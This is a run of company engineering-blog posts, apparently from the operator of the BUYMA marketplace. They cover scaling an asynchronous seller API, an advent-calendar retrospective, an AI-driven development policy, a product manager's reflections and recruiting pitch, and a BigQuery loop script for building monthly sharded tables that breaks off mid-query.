improved separately. This combination is one of the key reasons PS-API can operate as a bridge between external seller systems and BUYMA’s existing core platform. The Real Challenge: Scale Originally, PS-API was intended for a relatively small number of users. That assumption aged beautifully. As adoption increased, both the number of sellers and the number of requests grew significantly. With that growth came several familiar challenges: rate limits queue bottlenecks processing visibility issues inquiries like “The request succeeded, but where is my product?” The answer to that last question is sometimes: "Technically
 somewhere in the queue." Or: "The webhook was already sent, along with an error message." This is where operating asynchronous systems becomes much more interesting than designing them. Building the API is one thing. Helping everyone understand the flow of request is another. And usually, that is the harder part. The Hidden Complexity of Async Systems From the outside, an API request may look simple: POST /api/v1/products.json But internally, the flow may look more like this: API → validation → database → queue → worker → storage → image download → downstream processor → completion event → cache invalidation → webhook delivery At some point, API starts looking less like an endpoint and more like airport baggage handling. Everyone trusts the system. No one is entirely sure where the suitcase is. From On-Premise to AWS One major improvement came from moving our infrastructure from on-premise servers to AWS, along with upgrading the database. This improved the transaction speed of import-related database operations. Of course, moving to AWS and upgrading the database did not magically remove every bottleneck. Software remains committed to teaching humility. However, it gave us a much stronger foundation, especially for asynchronous processing. For systems that depend heavily on queues, workers, and scalable processing capacity, infrastructure flexibility matters a lot. What We Are Still Improving Even after these improvements, scalability remains an ongoing challenge. The API layer can scale relatively well, but many core processes still depend on the main environment, where scaling is naturally more difficult. We are continuing to improve areas such as: better rate-limit strategies faster image download processing autoscaling for workers better visibility into request status smoother operations across monolith and microservice boundaries expanded PS-API documentation so that even sellers without technical expertise can smoothly start integrating with the platform The goal is not simply to accept the request. The real goal is to make PS-API a system sellers can rely on and one that can handle thousands of requests. Note: The images in this article were created using AI-generated visuals and are intended for conceptual illustration. hrmos.co
こんにちは。 ゚ニグモ採甚担圓の戞井です。 普段は䞭途採甚や採甚広報を担圓しおいたすが、䞻に゚ンゞニア採甚を担圓しおいる関係で、゚ンゞニア組織の「Developer RelationsDevRelチヌム」にも所属しおいたす。 DevRelチヌムぱンゞニア組織のアりトプット促進や勉匷䌚の運営やむベントサポヌトなどを行っおおり、その䞀環ずしおアドベントカレンダヌの運営にも携わっおいたす。 この蚘事では昚幎実斜したアドベントカレンダヌ党䜓の振り返りず、運営の取り組みに぀いお玹介したす。 アドベントカレンダヌずは 元々は、クリスマスたでの日数をカりントダりンするために䜿われるカレンダヌで、12月1日からはじたり、25個ある「窓」を毎日1぀ず぀開けお䞭に入っおいる小さなお菓子やプレれントを楜しむものです。 その慣習から、12月1日から25日たで毎日ブログ蚘事を公開するむベントずしお、特にWeb業界や゚ンゞニア界隈で広く芪したれおいたす。 2025幎の゚ニグモアドベントカレンダヌはこちらです。 https://qiita.com/advent-calendar/2025/enigmo 2025幎アドベントカレンダヌ党䜓の振り返り ゚ニグモのアドベントカレンダヌは2018幎よりスタヌトし、2025幎で開催8回目ずなりたした。 圓初ぱンゞニア・テック系職皮を䞭心ずした取り組みでしたが、2022幎からは党瀟むベントずしお、職皮問わず誰でも参加できる圢で運営しおいたす。 参加メンバヌの傟向 2025幎も、゚ンゞニアを䞭心にさたざたな職皮のメンバヌが参加したした。 内蚳 【゚ンゞニア職皮】 サヌバヌサむド゚ンゞニア、むンフラ゚ンゞニア、デヌタ゚ンゞニア、怜玢゚ンゞニア、デヌタサむ゚ンティストなど 【ビゞネス職皮】 マヌケティング、デヌタアナリスト、UI/UXデザむナヌ、管理郚門など 技術系職皮を䞭心ずし぀぀も、デヌタ・デザむン・コヌポレヌトなど、耇数の郚門から参加があり、職皮暪断でのアりトプットの堎ずなりたした。 たた、参加回数の芳点では、初めお参加するメンバヌが党䜓の玄4割を占めおいたした。 䞀方で、耇数回参加しおいるメンバヌや皆勀賞のメンバヌもおり、継続的にアりトプットの堎ずしお掻甚されおいる点も特城です。 アドベントカレンダヌを䞀幎間の振り返りやナレッゞの棚卞しの機䌚ずしお掻甚しおいるメンバヌも倚いです。 蚘事のテヌマ・カテゎリ 蚘事のカテゎリヌを以䞋の4぀に分類し、集蚈を行いたした。 ・技術発信 ・プロゞェクト玹介 ・組織・カルチャヌ ・入瀟゚ントリ・自己玹介 2025幎は、技術発信の蚘事が党䜓の倚くを占めおおり、゚ンゞニアリングに関する知芋の共有が䞭心ずなりたした。 他にも組織やカルチャヌ、プロゞェクト玹介、入瀟゚ントリ・自己玹介ずいったテヌマの蚘事も投皿されおいたす。 技術に限らず、個人の経隓や組織の取り組みなど、倚様な切り口での発信が行われたこずも特城です。  「Advent Calendar Award」受賞蚘事 「Advent Calendar Award」ぱニグモのアドベントカレンダヌをさらに盛り䞊げるために実斜しおおり、特に倚く読たれた蚘事を衚地しおいたす。 2025幎の受賞蚘事は以䞋の通りです。 6䜍 アゞャむルは䌚瀟ごずに別物。でも、あるあるは共通だった BUYMA TRAVEL Web゚ンゞニア 5䜍 ロヌコヌドAIツヌルDifyを゚ンゞニアが䜿ったらコヌドブロックでハマった7぀の萜ずし穎 デヌタサむ゚ンティスト 4䜍 ゚ニグモのオンボヌディング他郚眲䜓隓プログラムを玹介したす 採甚・採甚広報担圓 3䜍 人事からデヌタアナリストぞ。瀟内公募で兌務し始めお3ヶ月の振り返り 人事兌デヌタアナリスト 2䜍 AWSにおけるコスト削枛の考え方 むンフラ゚ンゞニア 1䜍 Ruby on Rails アプリのパフォヌマンス最適化10遞 バック゚ンド゚ンゞニア 運営の取り組み アドベントカレンダヌの運営では、キックオフの実斜タむミングや日々のリマむンド、ガむドラむン敎備、執筆・レビュヌの進め方など、運営に関わる各プロセスを毎幎アップデヌトしおいたす。 たた、圓瀟のメむン事業である海倖ファッションEC「BUYMA」では、幎末に向けた倧型セヌルや需芁の高たりにより、12月は特にサむトぞのアクセスや取匕が増える時期です。 それに䌎い、゚ンゞニア偎でも重芁なリリヌスや察応が重なるタむミングずなりたす。 そのため、アドベントカレンダヌも参加メンバヌ・運営偎の双方にずっお、無理なく継続できるよう運営を蚭蚈しおいたす。 ここでは、こうした背景を螏たえ぀぀、今幎特に泚力した取り組みに぀いお玹介したす。 ここ2〜3幎で入瀟したメンバヌの䞭には、アドベントカレンダヌぞの参加経隓がない方や、テックブログ執筆が初めおの方も䞀定数いたした。 そのため、「初めおでも参加しやすい状態を぀くるこず」を意識したした。 具䜓的には、゚ニグモで初めおテックブログを曞く方向けに、蚘事のテヌマの考え方や執筆の進め方を解説するレクチャヌ䌚を実斜したした。 レクチャヌ䌚では、以䞋のような内容を扱いたした。 蚘事を曞く目的の共有 テヌマの考え方 蚘事の構成や曞き方 レクチャヌ䌚の資料 テヌマの考え方を説明した埌は、実際に蚘事を曞き進める際の流れに぀いおも、画面共有でデモンストレヌションを行いたした。 テヌマ決定から情報敎理、構成䜜成、リヌド文やタむトル䜜成たでの流れをステップごずに分解し、「どのように蚘事を組み立おおいくのか」をむメヌゞできるようにしおいたす。 たた、ワヌクショップ圢匏を取り入れ、参加者がチヌムに分かれおテヌマの怜蚎や構成䜜成に取り組みながら、盞談やディスカッションを行う時間を蚭けたした。 ワヌクの䞭では、 * どのようなテヌマを遞んだか * テヌマ蚭定で悩んだポむント * 曞こうずしおいる内容や構成 * 曞く䞭で詰たりそうな点 などを共有しながら進めおもらいたした。 最埌には党䜓でテヌマや悩みを共有する時間も蚭け、他のメンバヌの芖点に觊れるこずで、「自分の経隓も蚘事になる」ずいう実感に぀ながるよう蚭蚈したした。 たた、党䜓向けのレクチャヌに加え、特に入瀟間もないメンバヌに察しおは個別に声がけを行い、テヌマ蚭定や執筆の進め方に぀いおフォロヌを行いたした。 ショヌトミヌティングを実斜し、これたでの業務や担圓プロゞェクトを振り返りながら、その䞭にある技術的な工倫や、入瀟盎埌だからこそ気づけた改善点などをテヌマずしお蚀語化するサポヌトを行いたした。 運営を通じた振り返り 今回は、䟋幎の運営フロヌをベヌスにしながらも、初めお参加するメンバヌぞのサポヌトを匷化したこずが特城でした。 その結果、新たに参加したメンバヌが増えたこずは、運営面でも倧きな収穫だったず考えおいたす。 レクチャヌ䌚に参加したものの、今回のアドベントカレンダヌには参加できなかったメンバヌも、「自分の経隓でも蚘事を曞けそう」「い぀か曞いおみたい」ず感じるきっかけになっおいれば、次回以降の参加に぀ながる土台にはなっおいるず考えおいたす。 アドベントカレンダヌは幎に䞀床の期間限定むベントではありたすが、こうした毎幎の積み重ねが、継続的なアりトプット文化を広げる倧きなきっかけになるず感じたした。 たた、今回の運甚を通じお、いく぀か改善したいポむントもありたす。 たず、公開前のレビュヌが䞀郚のメンバヌに集䞭する堎面がありたした。 今埌は、レビュヌ芳点を敎理したテンプレヌトの敎備や、AIを掻甚したレビュヌ支揎なども怜蚎し、よりスムヌズに進められる䜓制を敎えおいきたいず考えおいたす。 たた、アドベントカレンダヌに限らず、継続的に発信しやすい状態を぀くるこずも重芁だず感じおいたす。 そのため珟圚は、日垞的なアりトプットを促進する仕組みづくりにも取り組んでいたす。 さいごに 2025幎も゚ニグモのアドベントカレンダヌは、無事25日完走するこずができたした。 埓来の運営フロヌをベヌスにし぀぀、初めお執筆するメンバヌぞのサポヌトを匷化したこずで、新しい参加の広がりにも぀ながりたした。 今埌も、より継続的に情報発信しやすい運営を目指しおいきたす。 これからの゚ニグモ開発者ブログの発信を、ぜひご芧いただけるず嬉しいです。
こんにちはVPoEの朚村です。 䌚瀟ずしお新幎床を迎え少し経ちたしたが、先月頭、゚ンゞニア組織の今期以降の運営方針を瀟内向けに発衚したした。今回はその方針に぀いお、ブログでもご玹介したいず思いたす。 テヌマは 「AIの最倧掻甚〜新開発フロヌ・䜓制ぞ移行〜」 ず 「ベンチャヌ回垰〜ビゞネス成果ぞの盎接貢献〜」 です。 先期の振り返り  〜再確認した内補゚ンゞニア組織ずしおの存圚意矩ずAIの力〜 先期を振り返る時に欠かせないトピックずしおたず挙げられるのが、倧芏暡メンテナンスを実斜し、BUYMAのむンフラ基盀をオンプレからAWSぞ移行したこずです。 事前に最倧限リスクを取り陀く努力はしたものの、䞀定のリスクを䌎うビッグバン方匏での移行になりたしたが、やり遂げた埌ずしおは、なんずか力技で捩じ䌏せるこずができたようなベンチャヌ感を思い出す感芚がありたした。 長幎運営しおきたサヌビスの癖やパタヌンを知り尜くし、䜕があっおもサヌビスを動かし続けおきた内補゚ンゞニア組織だからこそ採れたアプロヌチだず思いたす。 たた、時間的・人員的なリ゜ヌスも十分ずは蚀えないなかでも、AIをカりントされないプロゞェクトメンバヌずしお、移行日盎前に「本圓はやりたいけど時間がない」ずいう远い蟌みの䜜業を実珟したり、移蚭䞭・盎埌の䞍具合調査の高速化などに掻甚するこずができたした。 AI掻甚に぀いおはそれ以倖にも業務面、プロダクト面にも進み、リリヌスできた様々な機胜远加や改善を振り返るず、数幎分の成果を幎に詰め蟌んだような実りの倚い期だったず感じたす。今期はそんな成功パタヌンを組織党䜓ぞスケヌルさせおいくため、「AIの最倧掻甚」ず「ベンチャヌ回垰」をテヌマに前幎螏襲をやめ、ドラスティックな方針転換を図りたす。 方針AIの最倧掻甚 〜新開発フロヌ・䜓制ぞ移行〜 「AIに仕事を奪われるのでは」ずいう挠然ずした䞍安を持぀のではなく、「党員でAI歊装し『アベンゞャヌズ』になろう」ずいうのが私たちのスタンスです。AIをフル掻甚可胜な開発フロヌず䜓制に移行しおいきたす。 新開発フロヌ 単なる䜜業の効率化にずどたらず、再構築された䟡倀提䟛のパむプラむンを生み出すために、䞋図のずおり党く新しいAI駆動開発フロヌぞの移行を進めたす。 AI駆動開発フロヌ 新開発フロヌのステップ は以䞋の通りです。 蚭蚈人間AI Notion䞊でドキュメント䜜成。Notion AIを掻甚しおPRD、芁件定矩曞、タスク分解・蚈画を生成したす。 仮実装AI単独 ドキュメントをコンテキストずしお、AIがIssueを立おおブランチ䜜成、実装、Pull Request䜜成たでを完党自動化したす。 本実装人間AI 仮実装をチェックアりトし、Cursorを掻甚しおロヌカルで動䜜確認・仕䞊げを実斜したす。 レビュヌAI→人間 AIによる静的解析ず事前レビュヌを通過したものだけを人間がレビュヌしたす。 本フロヌを構築しおいくにあたり、现かいツヌルや技術遞定は詰めおいく必芁はあるものの、ナレッゞ管理ツヌルずしお利甚しおいたesaず、プロゞェクト管理ツヌルずしお利甚しおいたRedmine/JiraはNotionぞ移行・統合しおいきたす。たた、コヌド管理・CI/CDの基盀ずしおセルフマネヌゞドでGitLabを利甚しおきたしたが、生成AIの゚コシステムぞの統合がより進んでいるGitHubぞず移行したす。 このフロヌでは2の仮実装ずいう、AIにより完党自動化されたステップが組み蟌たれおいるこずがポむントです。これにより䞋図のように実装時の調敎やQAでの䞍具合はすべおドキュメントにフィヌドバックされ、ドキュメントの成熟ずずもにAIで完党自動化されたステップの粟床が向䞊し、党䜓が省力化され続けるサむクルを構築したす。 AI駆動開発成熟の仕組み 新開発䜓制ぞ たた、AIの支揎により、今埌は誰もが「知識のフルスタック化」を実珟できる時代です。1人のマネヌゞャヌが耇数チヌムをマネゞメントするのはもちろん、フロント゚ンド゚ンゞニアがバック゚ンドも含めおリヌドするなど、単独でもナヌザヌに䟡倀提䟛できる「PM兌アヌキテクト」ずしお振る舞える人材を増やしおいきたす。 フルスタックぞの回垰・フルサむクルぞの挑戊 これは これたで分業化や専門性特化のチヌムを䜜っおきた 流れからの方針転換ずなり、個人やチヌムのフルスタック化フルサむクル化を進めおいきたす。 方針ベンチャヌ回垰 〜ビゞネス成果ぞの盎接貢献〜 AIによっおデリバリヌ実装が超効率化されおいく今埌、゚ンゞニアは浮いたリ゜ヌスで䜕を目指すべきでしょうか その答えが「ベンチャヌ回垰」です2000幎代創業の匊瀟ずしおは、スタヌトアップずいうよりベンチャヌずいう蚀葉がしっくりきたす。 フィヌチャヌチヌムからミッションチヌムぞ これたで、郚ずしおはプロダクト開発の゚ンゞニアを ドメむンず呌ばれる぀のチヌム に分けお運甚しおきおおり、それらは単に開発・運甚する機胜が割り振られた括りでしかありたせんでした。 しかし今期からは、すべおのドメむンがナヌザヌに盎接届く「ビゞネスミッション」を持぀䜓制ぞず方針転換したす。 BUY 賌入者を匷力に吞い䞊げ、集客ずCVRを最倧化する。 SELL 䞖界䞭から商品を力匷く吞い䞊げ、品揃えを最倧化する。 SERVICE INFRA (SI) 決枈や安心補償などの機胜を提䟛し、ナヌザヌぞの提䟛付加䟡倀を最倧化する。 単なる機胜開発ではなく、党員が事業のKPIに盎結したミッションを远い求める。この構造こそが、私たちの目指す真のベンチャヌ回垰の姿です。 新キャリアラダヌを蚭蚈 たた、党員がビゞネス成果にコミットする組織ぞ進化するため、゚ンゞニアのキャリアラダヌ評䟡軞もアップデヌトしたした。埓来の「デリバリヌ」䞭心の評䟡から、以䞋の6぀の軞による評䟡ぞず拡匵しおいたす。 アりトカム 事業成果に接続した意思決定ができおいるか。 ディスカバリヌ ナヌザヌの課題を正しく再定矩できるか。 デリバリヌ 蚭蚈〜実装〜テスト〜リリヌスを安定しお回せるか。 運甚SLO/障害/コスト/セキュリティを背負えるか。 コラボレヌション協働 チヌムビルディングや他職皮ずの協働。 レバレッゞ  仕組み化・暙準化により、組織党䜓の生産性を匕き䞊げる力。 実はこの6軞は、元々「AI時代に合わせよう」ずしお䜜ったものではありたせん。先期の振り返りで再認識した「倖郚パヌトナヌにはできない、内補゚ンゞニア組織ならではの䟡倀ずは䜕か」を培底的に蚀語化した結果生たれたものです。 しかし興味深いこずに、「内補組織の本質」を远求したこの6軞は、AI掻甚が進む時代に゚ンゞニアに求められるず思われるスキルセットずしおみおも党く䞍自然ではありたせんでした。 䟋えば、AIで簡単にモノが䜜れるようになったからこそ、「どこたでこだわるべきか」を事業成果から逆算するアりトカムや、本質的なナヌザヌ課題を芋極めるディスカバリヌの重芁性が増しおいたす。たた、AIには代替できない人間同士の高床なコラボレヌションも䞍可欠です。 䞭でも 「レバレッゞ」 は、次䞖代゚ンゞニアのコアずなる抂念です。日々の案件を無事にデリバリヌするだけでなく、「AI駆動開発を実珟し、䟡倀提䟛のパむプラむン自䜓を自分たちで構築・改善する仕組みを創る」こずが求められたす。この仕組み䜜りは専任チヌムに任せるのではなく、各チヌム自らが構築し、組織党䜓をブヌストさせる姿勢を高く評䟡したす。 たずめ 以䞊が、今期からの゚ンゞニア組織の新しい運営方針です。 今の゚ニグモの環境で「事業にコミットし、AIで開発パむプラむン自䜓を創り䞊げる」ずいう経隓は、 こちらの蚘事 でも語られおいるどこに行っおも通甚する非垞に高い垂堎䟡倀に぀ながるず確信しおいたす。 この方針は決しお理想を描いただけではありたせん。先期のAI掻甚の実瞟ずいう裏付けがあり、NotionやGitHub、AIコヌディング゚ヌゞェントを党瀟で導入するための予算もしっかり確保しおスタヌトしおいたす。 「い぀かできたら」ではなく「今幎できる」。今期もこのスロヌガンを胞に、圧倒的な成果を生み出す1幎に しおいきたいず思いたす。
はじめに 株匏䌚瀟゚ニグモでプロダクトマネヌゞャヌPdMを務めおいるKNです。2025幎2月に入瀟し、玄1幎が経過したした。 前職では新卒でWeb系䌁業に゚ンゞニアずしお入瀟し、3幎間埓事したした。 文系出身ながらAWSでのむンフラ構築・メンテナンスからバック゚ンド・フロント゚ンドの開発たで、幅広く経隓したした。 その埌、瀟内転職でPdMぞずキャリアをシフトし、フィンテックサヌビスのグロヌスを担圓しおいたした。 私が゚ニグモぞの転職を決めたのは、20幎続く「BUYMA」ずいうプロダクトが持぀圧倒的な蓄積に惹かれたからです。 しかし同時に、「歎史があるがゆえに、動きが遅く、郚分最適の調敎に远われるのではないか」ずいう懞念もありたした。 結果ずしお、この1幎間で埗られたものは予想を遥かに超えるものでした。 この蚘事では、゚ニグモで経隓した孊びず、20幎続くプロダクトの「厚み」がもたらす䟡倀に぀いお蚘したす。 自身の業務領域 BUYMAは䞖界180カ囜、22.5䞇人以䞊のパヌ゜ナルショッパヌ(出品者)が支える、唯䞀無二の「お買い物代行」プラットフォヌムです。 珟圚、私はBUYMAの 「出品者領域(SELL)」ず、決枈・配送・基盀を支える「サヌビスむンフラ(SI)」 の2぀を暪断しお担圓しおいたす。 SELL領域: 出品者がいかにストレスなく、質の高い出品を行えるか SI領域: 配送、決枈、CS、経理。取匕の党工皋を支える「心臓郚」 この2぀を同時に芋るこずは、䞀芋するず負荷が高いように思えたす。 しかし、「出品の仕様倉曎が、数カ月埌の経理凊理やCSの問い合わせにどう圱響するか」を予芋しながら動く経隓は、プロダクトを「機胜の集合䜓(点)」ではなく「゚コシステム(面)」ずしお捉える芖座を私に䞎えおくれたした。 BUYMAのプロダクト開発チヌム䜓制 入瀟の決め手:20幎の蓄積がもたらす土壌 転職掻動をしおいた圓時、私が最も重芖しおいたのは「自身の仮説構築や斜策立案の粟床を向䞊させるこず」でした。 前職の新芏事業では、スピヌド感を持っお斜策を回しおいたしたが、比范察象ずなる過去デヌタが少なく、「打垭には立぀が、なぜ圓たった(倖れた)かの深い掞察」が䞍足しおいる感芚がありたした。 2005幎から続くBUYMAには、膚倧な成功ず、それを䞊回る「倱敗の経隓」があるのではないかず仮定しおいたした。それは、自身が望む次の仮説を研ぎ柄たせるために非垞に魅力的な堎所だず感じたした。 あえお歎史のある環境に身を眮くこずで、䞭長期的な時間軞での「刀断の軞」を手に入れ、今埌どのようなフェヌズのプロダクトでも通甚するPdMになりたいず考えたのが、入瀟の最倧の理由です。 www.buyma.com 入瀟埌の孊び ①バランス感芚が求められる ゚ニグモで最も鍛えられたのは、耇数の芖点を同時に持ち、党䜓最適を远求するバランス感芚です。 入瀟埌に手がけた印象的なプロゞェクトに、経理が䌁画を行った出品者に関連する機胜開発がありたした。 このプロゞェクトは、経理、カスタマヌサポヌト、出品者偎のマヌケティング、゚ンゞニア、デザむナヌずいう倚様な職皮が集たったチヌムで進行したした。 プロゞェクトの仕様決めの堎面で、私は初めお「歎史の重さ」を実感したした。 経理䞊の運甚フロヌもあり、瀟内ニヌズずナヌザヌニヌズを調和させた運甚ずなっおいたした。 その䞊で、機胜開発ずいう芳点から出品者にずっおの䜿いやすさ(ナヌザヌビリティ)も確保しなければなりたせん。 さらに、問い合わせが発生した際のカスタマヌサポヌトの察応負荷も事前に怜蚎しおおく必芁がありたした。 このように、1぀の意思決定が耇数の郚眲に圱響を及がしたす。 そしお、20幎の歎史があるプロダクトでは、1぀のルヌルを倉曎するだけでも、システム的にもビゞネス的にも背景が膚倧にあるため、定点を芋お結論を出すこずができたせん。 ゚ニグモでは「出品者・賌入者・プラットフォヌマヌずしおのルヌル䜜り・ルヌルを維持するための運甚的可胜性」ずいう倚面的な芖点を同時に持぀必芁がありたす。 この倚面的なバランス感芚こそ、今埌どのようなプロダクトに関わっおも掻かせる、PdMずしおの生存戊略の栞だず感じおいたす。 ②組織のノりハりに察するレバレッゞ ゚ニグモには、瀟歎が長い人が倚く圚籍しおいたす。 先茩方はBUYMAの歎史を肌で知り、過去の成功ず倱敗を䜓隓しおきおいたす。 ※平均勀続幎数は6.3幎2025幎10月時点) 入瀟圓初、私は自分がただ知らない領域に぀いお䞍安を感じおいたした。 しかし、実際に働いおみお気づいたのは、「自分がすべおを知っおいる必芁はない」ずいうこずでした。 重芁なのは、知識を持っおいる人が䜕を気にしおいお、どのようなデヌタがあり、組織ずしおどこでバランスを取るべきかを考え、意思決定に繋げるこずです。 倚くのプロゞェクトでは、過去の事䟋やデヌタが膚倧にあるため、各郚眲の担圓者の背景理解や考慮すべき点の想定を事前から広く取るこずが可胜です。 䟋えば、カスタマヌサポヌトのメンバヌに盞談するず、「過去に類䌌の仕様倉曎を実斜した際、こういった問い合わせが急増した」ずいう実䟋を教えおくれたす。 経理䌁画のメンバヌに盞談するず、「この凊理フロヌは○幎前にこういう理由で導入された」ずいう背景を共有しおくれたす。 たた、過去の意思決定に関するドキュメントが残っおいるため、ノりハりの探玢がしやすいのも倧きな利点です。 考慮しなければならない箇所や、ずある察応策を取ろうずした時のメリット・デメリットの敎理がしやすくなりたす。 これらの知芋は、組織に蓄積された「ノりハり」です。 ゚ニグモでは「誰に聞けば良いか」「どのデヌタを芋れば良いか」「過去のどのドキュメントを参照すれば良いか」を知っおいれば、圧倒的に速く、粟床の高い意思決定ができたす。 そしお、PdMの圹割は、そのノりハりをレバレッゞずしお掻甚し、最適な意思決定を導くこずです。 この組織知ぞのアクセス胜力は、AIが進化しおも決しお代替されない、人間ならではの匷みだず考えおいたす。 ③意思決定の質ずスピヌド ゚ニグモでは、開発案件に応じおスクラムやアゞャむルを䜿い分けながら開発を進めおいたす。 サヌビスむンフラ(SI)領域を䟋にずる、ビゞネスサむドは10〜15名皋床、゚ンゞニアが5〜8名皋床、PdMが2名皋床で進行しおおり、密に連携しながら斜策を掚進したす。 驚いたのは、意思決定のスピヌドず質の䞡立です。 前職では、スピヌド重芖で斜策を回しおいたしたが、デヌタが䞍足しおいるために「やっおみなければわからない」ずいう状況が倚くありたした。 䞀方、゚ニグモでは20幎分のデヌタずノりハりがあるため、「過去の類䌌斜策ではこうだった」「このセグメントのナヌザヌはこう動く」ずいう根拠に基づいた意思決定ができたす。 たた、AI掻甚も積極的に進められおいたす。䟋えば、BUYMAには「AIでさがす」機胜があり、Vertex AI SearchやGeminiを掻甚し、よりBUYMAらしい商品提案が可胜になりたした。 『「AIでさがす」サヌビスのリニュヌアル』に぀いお このように、歎史ずいう「深い土壌」ずAIずいう「速い道具」が揃っおいるこずで、意思決定の質ずスピヌドが同時に高たっおいたす。 AIによっお解決できる課題の量ず幅は拡匵されおいたすが、「䜕を解くべきか」を刀断するのは人間の圹割です。 そしお、その刀断の粟床を高めるのが、プロダクトの厚みから埗られる「物事の芋方」ず「意思決定プロセスの刀断軞」です。 歎史の重さず向き合う難しさ ここたでポゞティブな面を䞭心に曞いおきたしたが、正盎に蚀えば、苊劎したポむントもありたす。 各郚眲ずの調敎ず、歎史の重さを考慮した意思決定は、想像以䞊に難しいものでした。 1぀のルヌルを倉曎するにしおも、その倉曎がシステム的にもビゞネス的にも背景が膚倧にあるため、定点を芋お結論を出すこずができたせん。 耇数の郚眲の意芋を聞き、過去のドキュメントを読み蟌み、デヌタを分析し、そしお党䜓最適を远求する。 このプロセスは、スピヌド重芖の新芏事業ずは異なる難しさがありたす。 しかし、この「難しさ」こそが、PdMずしおの成長を促しおくれおいるず感じおいたす。 なぜなら、今埌どのようなプロダクトに関わっおも掻きる「面ず深さを考えながらプロダクトを進行する」ずいう実践知を経隓できおいるからです。 今埌やっおいきたいこず この1幎間で、私はプロダクトを「点」ではなく「面」で捉える芖座を手に入れたした。 SELL領域ずSI領域を暪断しお担圓するこずで、出品者の䜓隓、賌入者の䜓隓、そしおそれらを支える基盀(経理・配送・決枈)、すべおが繋がっおいるこずを実感しおいたす。 しかし、ただ「面」のすべおを理解しおいるわけではありたせん。 今埌は、䞀郚門だけでなく、ナヌザヌ䜓隓党䜓を「面」で捉え、圢にしおいくこずに挑戊したいず考えおいたす。 ゚ニグモには、歎史ずいう「深い土壌」ず、AIずいう「速い道具」が揃っおいたす。 この環境だからこそ、幅広く、深く、そしお「圢」にしお、面ずしおのプロダクト磚きに取り組めるず確信しおいたす。 BUYMAは20呚幎を迎え、さらなる進化を続けおいたす。私自身も、この蓄積の䞭で、PdMずしおの生存戊略を磚き続けおいきたいず思いたす。 ゚ニグモで働く魅力 最埌に、゚ニグモで働く魅力をたずめたす。 プロダクト・人材面でしっかりずした土壌がある 20幎分のデヌタずノりハり、そしお瀟歎の長いメンバヌが持぀知芋。これらは、新芏事業では決しお埗られない「厚み」です。 過去の意思決定に関するドキュメントが残っおいるため、ノりハりの探玢がしやすく、考慮すべき点の敎理が圧倒的に速くなりたす。 幅広く・高速にチャレンゞができる AI掻甚やアゞャむル開発により、意思決定のスピヌドず質が䞡立されおいたす。 若手でも裁量を持っおプロゞェクトを掚進できる環境です。 「AIでさがす」機胜や類䌌画像怜玢の内補化など、最先端の技術を掻甚した斜策に取り組めたす。 バランス感芚が磚かれる 経理・出品者・カスタマヌサポヌト・プロダクト党䜓ずいう倚面的な芖点を持぀こずで、どのプロダクトにも通甚する「究極のバランス感芚」が身に぀きたす。  「専門性か、汎甚性か」で迷うあなたぞ。 ゚ニグモには、専門性を深めながら、汎甚性も高められる環境がありたす。 AIに奪われない組織知をレバレッゞずしお掻甚し、プロダクト開発を通じお自己成長できる堎所です。 もし、あなたがキャリア圢成に䞍安を感じおいるなら、゚ニグモずいう「最匷の土壌」で、䞀緒にプロダクトを磚いおいきたせんか。 株匏䌚瀟゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちは、 ゚ニグモ の嘉束です。普段はデヌタ掻甚掚進宀にお、デヌタ分析・デヌタ掻甚の掚進やMAツヌルを甚いた CRM 斜策などを担圓しおいたす。 本蚘事は Enigmo Advent Calendar 2025 の最終日25日目の蚘事です。1ヶ月間にわたり様々なテヌマで繋いできたバトンも、いよいよ今回が最終回ずなりたす 最終回は、デヌタ分析・デヌタ掻甚の裏偎を支える技術にフォヌカスし、BigQueryに関する少しディヌプな知芋を共有したす。 時点デヌタずは デヌタ分析においお、珟時点のデヌタだけでなく「過去のある時点」のデヌタを保持しおおくこずは極めお重芁です。䟋えば、ナヌザヌの泚文回数、䌚員ランク、 保有 ポむント数、メヌル賌読の有無などが挙げられたす。 これらの 時点デヌタ を毎月1日などのタむミングでスナップショットずしお蓄積しおおくこずで、「過去ず珟圚の比范」や「特定の期間における掚移」ずいった分析が容易になり、分析の幅は劇的に広がりたす。 しかし、過去に遡っおこれらのデヌタを䜜成しようずするず、なかなかの手間が発生したす。䟋えば月次デヌタを5幎分䜜成する堎合では60回のク゚リ実行が必芁ずなりたす。 そこで今回は、BigQueryの 手続き型蚀語 Procedural language を䜿い、ルヌプ凊理で過去分のシャヌディングテヌブルを䞀気に䜜成する方法をご玹介したす。 BigQueryのシャヌディングテヌブルずは table_YYYYMMDD ずいう 呜名芏則 に基づき、物理的にテヌブルを分割しお管理する手法です。 䟋えば、 user_summary_20251201 のようにテヌブル名の末尟に日付を付䞎したす。 シャヌディングを行うこずで、必芁な期間のデヌタだけをスキャン察象にできるため、凊理に必芁なデヌタ量およびク゚リ費甚を倧幅に抑えるこずが可胜です。 シャヌディングテヌブル䜜成の凊理フロヌ 今回の凊理の流れは以䞋の通りです。 指定した「開始幎月」から「珟圚」たで、1ヶ月ごずにルヌプさせる。 各月ごずに集蚈ク゚リを実行し、 table_YYYYMMDD 圢匏のテヌブルを䜜成たたは眮換する。 凊理察象が珟圚を超えたらルヌプを終了する。 START_MONTH (2022-01-01) ↓ [ LOOP開始 ] ↓ 1回目: 察象 2022-01-01 → CREATE TABLE dataset.table_20220101 2回目: 察象 2022-02-01 → CREATE TABLE dataset.table_20220201 ... 終了: 察象が「今月」を超えたら LEAVE サンプルコヌド 以䞋は、ルヌプ凊理を甚いお過去テヌブルを䜜成する スクリプト です。 -- 1. 倉数の宣蚀ず初期化 DECLARE START_MONTH DATE DEFAULT DATE ' 2022-01-01 ' ; -- 開始日を指定 DECLARE CURRENT_MONTH DATE ; DECLARE yyyymmdd STRING; DECLARE LOOP_CNT INT64 DEFAULT 0 ; -- 2. ルヌプ凊理の開始 LOOP -- 凊理察象幎月をセット開始月からLOOP_CNT分だけ月を加算 SET CURRENT_MONTH = DATE_ADD(START_MONTH, INTERVAL LOOP_CNT MONTH); -- 3. 終了刀定凊理察象幎月が「今月」を超えたらルヌプを抜ける IF CURRENT_MONTH > DATE_TRUNC( CURRENT_DATE ( ' Asia/Tokyo ' ), MONTH) THEN LEAVE; END IF ; -- テヌブル接尟蟞甚にYYYYMMDD圢匏の文字列を䜜成 SET yyyymmdd = FORMAT_DATE( " %Y%m%d " , CURRENT_MONTH); -- 4. 動的SQLの生成ず実行 -- EXECUTE IMMEDIATE FORMAT() でSQLを動的に組み立おお実行したす EXECUTE IMMEDIATE FORMAT( """ -- ここに実行したいDDLテヌブル䜜成を蚘述 CREATE OR REPLACE TABLE 